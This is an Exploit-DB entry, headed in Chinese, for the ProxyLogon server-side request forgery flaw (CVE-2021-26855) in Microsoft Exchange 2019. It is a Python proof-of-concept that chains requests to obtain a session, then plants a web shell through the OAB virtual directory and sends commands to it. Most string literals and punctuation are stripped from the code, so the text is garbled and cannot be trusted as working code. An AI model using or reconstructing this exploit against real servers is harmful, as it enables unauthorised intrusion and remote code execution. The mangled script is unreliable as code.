标题: Microsoft Exchange 2019 - Server-Side Request Forgery EDB-ID: 49663 CVE: 2021-26855 类型: REMOTE 平台: WINDOWS 发布日期: 2021-03-14 漏洞利用脚本: import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys


def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

if len(sys.argv) < 2:
    print("使用方式: python PoC.py <target> <email>")
    print("使用方式: python PoC.py mail.btwaf.cn test2@btwaf.cn")
    exit()

proxies     
requestspackagesurllib3disable_warningscategoryInsecureRequestWarning
target  sysargv
email  sysargv
random_name  id_generator  
user_agent  

shell_path  
shell_absolute_path    shell_path


shell_content  

autoDiscoverBody    email

  target

FQDN  
ct  requestsget  target random_name headers 
                                                                         user_agent
                  verifyproxiesproxies

   ctheaders    ctheaders
    FQDN  ctheaders


ct  requestspost  target random_name headers
       FQDN
     
     user_agent
                   dataautoDiscoverBody
                    proxiesproxies
                   verify
                   

 ctstatus_code  
    ctstatus_code
    
    exit

    ctcontent
    
    exit

legacyDn  ctcontentsplitsplitr
  legacyDn

mapi_body  legacyDn  

ct  requestspost  target random_name headers
       FQDN
     
     
     
     
     
     user_agent

                   datamapi_body
                   verify
proxiesproxies
                   
 ctstatus_code       ctcontent
    
    exit

sid  ctcontentsplitsplit

  sid
sid  sidreplacesidsplit

proxyLogon_request    sid

ct  requestspost  target random_name headers
       FQDN
     
     
     user_agent

                   dataproxyLogon_request
proxiesproxies
                   verify
                   
 ctstatus_code       ctheaders
    
    exit

sess_id  ctheaderssplitsplit

msExchEcpCanary  ctheaderssplitsplit
  sess_id
  msExchEcpCanary

ct  requestspost  target random_name headers
       
        FQDN msExchEcpCanary sess_id msExchEcpCanary
     
     
     user_agent


                   json 
                         
                                           
                   verify
                   

 ctstatus_code  
    
    exit
oabId  ctcontentsplitsplit
  oabId

oab_json        oabId
             
                  
                                  shell_content

ct  requestspost  target random_name headers
       
        FQDN msExchEcpCanary sess_id msExchEcpCanary
     
     
     user_agent

                   jsonoab_json
                   verify
                   
 ctstatus_code  
    
    exit

reset_oab_body        oabId
                   
                        
                                      shell_absolute_path

ct  requestspost  target random_name headers
       
        FQDN msExchEcpCanary sess_id msExchEcpCanary
     
     
     user_agent

                   jsonreset_oab_body
                   verify
                   

 ctstatus_code  
    
    exit


target
shell_urltarget


datarequestspostshell_urldataverify
 datastatus_code  
    

    datatextsplitreplace URL: https://www.exploit-db.com/exploits/49663